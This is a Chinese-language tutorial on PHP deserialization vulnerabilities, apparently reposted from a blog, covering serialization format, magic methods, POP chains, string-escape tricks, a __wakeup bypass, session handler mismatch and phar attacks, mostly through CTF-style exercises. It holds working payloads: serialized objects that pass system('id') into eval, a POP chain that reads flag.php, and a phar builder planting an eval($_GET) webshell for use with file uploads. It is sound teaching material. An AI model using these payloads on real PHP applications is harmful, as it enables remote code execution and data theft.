首页 > 编程语言 >php反序列化

php反序列化

时间:2024-12-22 17:45:19浏览次数:3  
标签:__ php benben echo test 序列化

PHP反序列化漏洞

一、基础知识

php面向对象的基本概念

类与对象

class hero{
    var $name; #var默认是public
    public $sex;
    function(){
        echo $this->name; #必须用this访问类内变量
    }
}

$cyj= new hero();
$cyj->name='chengyaojin'; #注意不是.访问
$cyj->sex='male';
$cyj->function();
print_r($cyj); ->输出name和sex

public:任何地方调用

protected:外部不允许调用

private:子类、外部不允许调用

php中的继承:class hero2 extends hero{...}

PHP序列化:对象->字符串

null -> N;
666 -> i:666;
66.6 -> d:66.6;
true -> b:1;
false -> b:0;
'benben' -> s:6:"benben"; #6是长度,我们插入双引号不会提前闭合
array('benben','dazhuang','laoliu'); -> 
    a(array数组):3(参数数量):{i:0(编号);s:6:"benben";i:1;s:8:"dazhuang";i:2;s:6:"laoliu";}

class test{ public $pub='benben';} -> O(object对象):4(类名长度):"test"(类名):1(变量数量不包含函数):{s:3:"pub";s:6:"benben";(分别是名字和值)..;...;}

class test{ private(私有) $pub='benben';} -> O(object对象):4(类名长度):"test"(类名):1(变量数量不包含函数):{s:9:"testpub"(加上了%00+类名+%00,所以长度是9);s:6:"benben";(分别是名字和值)}(%00是空)
    
class test{ protected $pub='benben';} -> O(object对象):4(类名长度):"test"(类名):1(变量数量不包含函数):{s:6:"*pub";s:6:"benben"(加的是%00+*+%00);(分别是名字和值)..;...;}
#提交的时候记得url编码

class test2{ var ben; function _construct{ ben=new test(); }} -> O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}} #ben的值就是test类序列化之后字符串

PHP反序列化

反序列化生成的是一个对象,如果没有这个类,有报错,也可以执行

反序列化生成的对象的值,又反序列化内的值提供,与预定义的默认值无关

反序列化不触发类的方法,需要用魔术方法

我们反序列化的代码,要用%00进行urldecode($d)

$d='O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"%00*%00b";i:666;s:7:"%00test%00c";b:0;}';
$d=urldecode($d);
var_dump(unserialize($d));
$f=unserialize($d);
$f->displayVar(); #调用类内函数,必须存在这个类的函数

二、反序列化漏洞基础

反序列化漏洞的成因:unserialize接受的值可控

例题:

<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
    public $a = 'echo "this is test!!";';
    public function displayVar() {
        eval($this->a);
    }
}

$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;

?>

利用:让$b成为test类的一个对象,构造$a,调用eval函数,执行命令

?benben=O:4:"test":1:{s:1:"a";s:13:"system("id");";} #序列化的字符串必须是双引号包裹

魔术方法

魔术方法:一个预定义的,特定情况触发的行为方法

重点:触发时机,功能,参数,返回值

1.__construct()

实例化一个对象的时候,会自动执行构造函数
$a=new User("benben");

2.__destruct()

销毁一个对象会自动调用,我们反序列化生成的对象也会自动调用析构函数!

3.__wakeup()

反序列化unserialize()之前自动调用__wakeup()

不需要构造所有的类属性,只用构造有用的

4.__sleep()

serialize()函数之前会自动调用__sleep()

功能:返回被序列化存储的成员属性 参数:属性,不必要

public function __sleep() {
    return array('username', 'nickname');
  } #重写了__sleep(),echo serialize($user);只会输出这两个的值
#O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}

5.__toString()

表达方式错误时触发,构造pop

$test = new User() ;
print_r($test);
echo "<br />";
echo $test; #参数格式错误,调用__toString()
print $test; #参数格式错误,调用__toString()
文件操作函数加一个对象,也会触发
file_exists($test);
. 是字符串连接符,当然也可以调用

6.__invoke()

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    var $benben = "this is test!!";
         public function __invoke()
         {
             echo  '它不是个函数!';
          }
}
$test = new User() ;
echo $test ->benben;
echo "<br />";
echo $test() ->benben; #当把一个对象当做函数执行,__invoke()自动调用
?>
this is test!!
它不是个函数!

7.__call()

调用时机:当调用对象的一个不存在的方法时触发
参数:可传入参数,默认2个($不存在方法的名字,$传入的参数名字)

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    public function __call($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
          }
}
$test = new User() ;
$test -> callxxx('a');
?>

callxxx,a

8.__callStatic()

静态调用不存在的方法$test::callxxx('a');

其他与call相同

9.__get()

当成员属性不存在时调用

$test->var2;变量不存在时会调用

默认传参不存在的变量名,$arg1

10.__set()

当给不存在的成员属性赋值时触发

参数:属性名,传入的值

11.__isset()

当对不可访问属性(private,protected或者不存在)使用isset()或empty(),isset()会被调用

传参$arg1:不存在的成员属性名称

12.__unset()

当对不可访问属性或不存在的属性使用unset()触发

传参$arg1:不存在的成员属性名称

13.__clone()

当使用clone关键字完成拷贝一个对象后,新对象会自动调用定义的魔术方法__clone()

$test = new User() ;
$newclass = clone($test); #克隆对象必须存在

POP链前置知识

1.例题

<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
    private $test;
    public function __construct(){
        $this->test = new normal();
    }
    public function __destruct(){
        $this->test->action();
    }
}
class normal {
    public function action(){
        echo "please attack me";
    }
}
class evil {
    var $test2;
    public function action(){
        eval($this->test2); #利用点
    }
}
unserialize($_GET['test']);
?>

eval->action()->__destruct()->$test,需要把test变成evil对象,反序列化的时候定义$test为new evil()->赋值test2进行利用

反序列化不会触发__construct(),可以写入$test

在构造序列化字符串时,可以编写程序,略去无关的函数和类,把需要赋值的数据写上即可

<?php
class index {
    private $test;
    public function __construct()
    {
        $this->test = new evil();
    }
}

class evil {
    var $test2="system('id');";

}
echo serialize(new index());
?>

或者假设$test是public,构造完之后再加上%00index%00:

<?php
class index {
    var $test;
}

class evil {
    var $test2;
}
$a=new evil();
$a->test2='system("ls -l");'
$b=new index();
$b->test=$a;
echo serialize($b);
?>

2.魔术方法触发的前提:魔术方法所在的类或对象被调用(也就是new函数)

<?php
highlight_file(__FILE__);
error_reporting(0);
class fast {
    public $source;
    public function __wakeup(){
        echo "wakeup is here!!";
        echo  $this->source;
    }
}

class sec {
    var $benben;
    public function __tostring(){
        echo "tostring is here!!";
    }
}
$b = $_GET['benben'];
unserialize($b);
?>
#想要触发sec中__toString()->让source类型错误,利用fast的__wakeup->$source=new sec();

如果反序列化对应的类里没有__wakeup()函数,那么不会执行

构造语句:

<?php
class fast {
    public $source;
}
class sec {
    var $benben;
}
$a=new sec();
$b=new fast();
$b->source=$a;
echo serialize($b);
?>
O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}  

三、反序列化漏洞利用

1.POP链的构造

也就是通过魔术方法的多次跳转来获取敏感数据,倒推法

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var;
    public function append($value)#2:想办法调用append(),而且$value必须是flag.php,从而而读取出来$flag
    {
        include($value);
        echo $flag;	#1:触发echo,调用flag
    }
    public function __invoke(){
        $this->append($this->var); #3:invoke()调用了append(),传入了var,当把一个对象当做函数执行,__invoke()自动调用
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){#7:如何触发__tostring(),表达方式错误时触发(echo 对象)
        return $this->str->source;#6:这里访问了一个类内的变量,可以实现get报错
    }
    public function __wakeup(){#9.反序列化触发__wakeup()
        echo $this->source; #8.把自己(Show)当成一个对象,echo输出,触发__toString()
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){#5.想要4,必须调用__get(),当成员属性不存在时调用
        $function = $this->p; 
        return $function(); #4:如果p是一个对象Modifier,那么类就能被当做函数使用,从而invoke()执行
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?>

__construct():在反序列化没用

正向分析:

构造Show对象的反序列化,触发__wakeup()
构造$source为Show对象,让对象以错误的方法输出,自动调用__toString()
构造$str为Test,实现访问类内不存在的变量,自动调用Test的__get()
构造$p为Modifier,从而实现类名被当做函数使用,自动调用Modifier里的__invoke()
__invoke()调用了append($var),传入$var=flag.php
append()函数自动读取flag

构造POC:删掉所有函数,赋值

<?php
class Modifier {
    private $var='flag.php';#私有属性类内赋值
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}
$test=new Test();
$show=new Show();
$show->source=$show;
$show->str=$test;
$mod=new Modifier();
$test->p=$mod;
echo serialize($show);
?>
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
记得改%00

四、字符串逃逸基础

应对的是题目把你输入的指令序列化,过滤,再反序列化

1、字符减少——吃

当反序列化添加了不存在的属性,必须把属性个数增加

如果成员个数与大括号内不一致,报错bool(false),字符串长度必须正确,否则报错

如果缺少了类内的某个变量,序列化之后的对象会自动赋默认值

;}
#当前面的内容没有问题,;}就是序列化字符串的结束符,后面的东西无影响,没有问题就是;}不在字符串的长度之中
#属性逃逸
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
    public $v1 = "abcsystem()system()system()";
    public $v2 = '123';

    public function __construct($arga,$argc){
            $this->v1 = $arga;
            $this->v2 = $argc;
    }
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>

在经过str_replace()处理之后,字符串的长度已经和数字不同,反序列化失败

此时序列化的字符串变成了:O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}

11个顺序向下读取,v1的值变成abc";s:2:"v

如果把123之前的代码全部吃掉abc";s:2:"v2";s:3:",那么123处就能成为功能性代码

注意:图中少了分号,计算的时候,要把双引号吃掉!用xx数个数是因为,v2的值是我们构造的代码,一般长度超过十位数,用两位xx代替计算

abc";s:2:"v2";s:xx:"吃掉20个,去掉abc还需要吃17个,需要3个system(),24个多出来7个,那就让最后加上7个字符1234567

绿色部分是要构造的字符串,我们创建一个新属性进行逃逸

这个新属性首先要闭合我们吃掉的双引号,再加上分号闭合之前的语句,之后就可以构造想要的属性了,最后记得用;}闭合语句,这样就注释掉了原本的";

反序列化生成的是三个属性的对象,v2是默认值

例题

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name); #字符减少
    return $name;
}
class test{
    var $user;
    var $pass;
    var $vip = false ;
    function __construct($user,$pass){
        $this->user=$user;
    $this->pass=$pass;
    }
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));

if ($profile->vip){ #vip改为true
    echo file_get_contents("flag.php");
}
?>

构造poc

<?php
class test
{
    var $user="flag";
    var $pass="benben";
    var $vip=true;
}
echo serialize(new test());
O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}

我们要构造";s:3:"vip";b:1;}

flag是吃2个,php吃1个,吃掉的部分是";s:4:"pass";s:xx:" 吃19个->10个flag,多一个,在benben之前加个1

user=flagflagflagflagflagflagflagflagflagflag

pass=1";s:3:"vip";b:1;}

因为我们吃掉了pass属性,object处的个数不对,所以这里还要构造一个pass属性

pass=1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}

2.字符增多——吐

把原本属于字符串的代码吐出来,在一个变量即可完成

$data = str_replace("ls","pwd",$data);	#长度加了1
O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
->	O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}
#想要构造 ";s:2:"v3";s:3:"666";}	需要吐出来22位,一个ls吐一个
$v1=lslslslslslslslslslsls.....lsls";s:2:"v3";s:3:"666";}

实际应用:

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$param=$_GET['param'];
$param=serialize(new test($param)); #param给user赋值
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){#需要改变pass属性的值
    echo file_get_contents("flag.php");
}
?>

php会变成hack,长度增加,吐代码,一次吐一个

构造poc:

<?php
class test
{
    var $user="benben";
    var $pass="escaping";
}
echo serialize(new test());
O:4:"test":2:{s:4:"user";s:6:"benben";s:4:"pass";s:8:"escaping";}
# ";s:4:"pass";s:8:"escaping";}这段就是我们要逃逸的代码
#需要29个php
$param=phpphp...29...php";s:4:"pass";s:8:"escaping";}

五、wakeup绕过

CVE-2016-7124

如果属性个数大于真实属性个数,会跳过___wakeup()的执行

php5<5.6.25 php7<7.0.10

function __wakeup(){
        $this->file='index.php';
    }
preg_match('/[oc]:\d+:/i',$cmd)
    #o后面不能跟数字,数字前面加上一个加号,url编码绕过
O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}
O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

影响代码执行

六、引用的利用方式

<?php
include("flag.php");
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
    $pass=str_replace('*','\*',$pass); #过滤了*
}

$o = unserialize($pass);

if ($o) {
    $o->secret = "*";#重置了secret,同理,判断两个是否相等的题都可以引用
    if ($o->secret === $o->enter)#让$enter=*
        echo "Congratulation! Here is my secret: ".$flag;
    else
        echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>
    
    
$a=new just4fun();
$a->enter=&$a->secret; #enter是secret的一个引用,enter等于secret
echo serialize($a);
O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

七、session反序列化

session

当session_start()被调用或者php.ini的session.auto_start为1时,PHP内部会调用会话管理器,访问用户session被序列化后,存储到指定目录,默认为/tmp,sess_??????

存储数据的格式有很多种,常见的有三种

漏洞产生:写入格式与读取格式不一致

1.benben|s:6:"123456" 默认是php处理

2.php_serialize:声明ini_set('session.serialize_handler','php_serialize');

a:2:{s:6:"benben";s:8:"dazhuang";s:1:"b";s:3:"666";}以数组形式存储

3.php_binary:ini_set('session.serialize_handler','php_binary');

二进制的06代表键长度

<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
    
<?php 
highlight_file(__FILE__);
error_reporting(0);

ini_set('session.serialize_handler','php');
session_start();

class D{
    var $a;
    function __destruct(){
        eval($this->a);
    }
}
?>    

两段代码以不同的方式分别对session进行读写,引起反序列化漏洞

我们写入|O:1:"D":1:{s:1:"a";s:13:"system("id");";}

经过php_serialize的方式写入之后变成a:1:{s:3:"ben";s:39:"|O:1:"D":1:{s:1:"a";s:13:"system("id");";}";}

经过php方式读取时,会误以为竖线前面的是键名,后面是反序列化的值,于是生成了我们需要的D对象

例题

<?php
highlight_file(__FILE__);
/*hint.php*/    hint.php可以提交session,使用php_serialize方法
session_start();
class Flag{
    public $name;
    public $her;
    function __wakeup(){
        $this->her=md5(rand(1, 10000));
        if ($this->name===$this->her){
            include('flag.php');
            echo $flag;
        }
    }
}
?>

使用引用来做

$a->name=&$a->her;

构造前面加一个竖线

八、phar反序列化

如果没有反序列化的点,可以上传文件可用phar

类似于jar的一种打包文件,php>5.3默认开启

利用phar伪协议读取.phar文件

$phar结构$

文件标识,格式为xxx<?php xxx;__HALT_COMPiler;?>

mainfest压缩文件的属性信息,以序列化存储

content内容 signature签名

phar协议解析文件时,会自动触发对mainfest字段的反序列化

结构图

class Testobj
{
    var $output="echo 'ok';";
    function __destruct()
    {
        eval($this->output);
    }
}
$filename=$_GET['filename'];
var_dump(file_exists($filename));
?filename=phar://test.phar

配合文件上传使用

<?php
class Testobj //改成你的类名
{
    var $output='';
}

@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new Testobj();//别忘了改类名
$o->output='eval($_GET["a"]);';//两个eval可以不用重新计算长度
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

phar://协议不看后缀,上传jpg/png都可以成功读取

要有可用的反序列化魔术方法作为跳板 __destruct __wakeup

要有文件操作函数

文件操作函数参数可控,不过滤 : / phar

标签:__,php,benben,echo,test,序列化
From: https://www.cnblogs.com/dyinglight/p/18622314

相关文章

  • .NET 9 New features-JSON序列化
    .NET9已经发布有一段时间了,近期整理一下.NET9的新特性,今天重点分享.NET9JSON序列化方面的改进。先引用官方的说明:在 System.Text.Json 中,.NET9提供了用于序列化JSON的新选项和新的单一实例,可以更轻松地使用Web默认值进行序列化。举个实际的例子,缩进选项JsonSer......
  • [极客大挑战 2020]Roamphp1-Welcome
    [极客大挑战2020]Roamphp1-Welcome一打开靶机发现无法正常访问通过BP抓包后修改为POST方式请求,就能正常进入了代码里可以看到,如果不是POST方式的话会报405接着是参数判断,如果roam1和roam2参数都没有设置的话会显示源代码,这个很简单,我们直接看下一个if判断这里roam1和roam......
  • PHP 10个最具影响力的新功能
    无论您是经验丰富的专家还是刚刚踏入编程世界的初学者,2024年的PHP更新都将为您带来极大的帮助,优化您的代码,并提升开发效率。让我们一起探索10个最具影响力的新功能,它们将彻底改变您的PHP开发之旅!1、只读属性:只能在初始化时赋值,之后不可修改。class User {  pub......
  • 基于PHP的公交查询系统
    计算机毕业设计案例Java毕业设计案例ASP.NET毕业设计案例PHP毕业设计案例微信小程序毕业设计案例基于Java后台的HTML5个人博客App的设计与实现基于ASP.NET的酒店管理系统基于PHP的学前教育平台–2024计算机毕业设计家校微信小程序的设计和开发基于Java的家居装潢销售与服......
  • 如何在 Z-BlogPHP 中开启固定域名功能?
    在Z-BlogPHP中开启固定域名功能可以帮助你确保所有访问请求都通过一个特定的域名进行,这对于SEO和用户体验都有好处。以下是详细的步骤和注意事项:步骤定位 c_option.php 文件:使用空间面板的文件管理器或FTP客户端,找到并打开 zb_users/c_option.php 文件。该文件通......
  • Z-BlogPHP 页面源码中的注释有什么作用?
     Z-BlogPHP页面源码中的注释提供了关于页面加载时间和性能的重要信息,帮助开发者和管理员快速了解页面的执行情况和潜在问题。以下是详细的解释和用途:注释内容加载时间:注释中的 193.14ms 表示页面加载时间为193.14毫秒。加载时间可以帮助评估页面的响应速度,优化性能......
  • Z-BlogPHP 安装步骤
    解压程序代码将下载的Z-BlogPHP压缩包解压到你的网站根目录,例如 /home/wwwroot/example.com/。访问安装页面打开浏览器,访问你的网站地址,例如 http://example.com/。会自动跳转到安装页面 http://example.com/zb_install/index.php。填写安装信息在安装页面......
  • 请问如何在 Z-BlogPHP 中开启 Beta 版更新推送?
    在Z-BlogPHP中开启Beta版更新推送可以帮助你及时获取最新的功能和改进,但同时也需要注意Beta版可能存在不稳定的情况。以下是开启Beta版更新推送的详细步骤:进入后台管理:登录Z-BlogPHP后台管理界面,使用你在安装时设置的管理员用户名和密码。访问应用中心:在后台......
  • 升级 Z-BlogPHP 到 1.7.3.3260 后为什么会出现后台登录错误?
    升级Z-BlogPHP到1.7.3.3260版本后,后台登录可能会出现错误,主要是由于新版本增加了两个重要的安全保护功能:CSRF(跨站请求伪造)保护和验证码功能。这些功能旨在提高系统的安全性,防止未经授权的访问和自动化攻击。然而,由于某些主题或插件的兼容性问题,这些新增的安全功能可能会导致登......
  • 几款使用过的php框架推荐
    1、帝国CMS官网地址:www.phome.net推荐理由:虽然它比较老,但是在曾经那个缺少网络防御手段的年代,它就像一座屹立不倒的大山,在众多PHP框架中脱颖而出,当别的框架还在不断的打补丁修漏洞的时候,它的一个版本往往可以应用好多年,它的安全防范体系是用心的做的,而且即将推出8.0新版本,作为......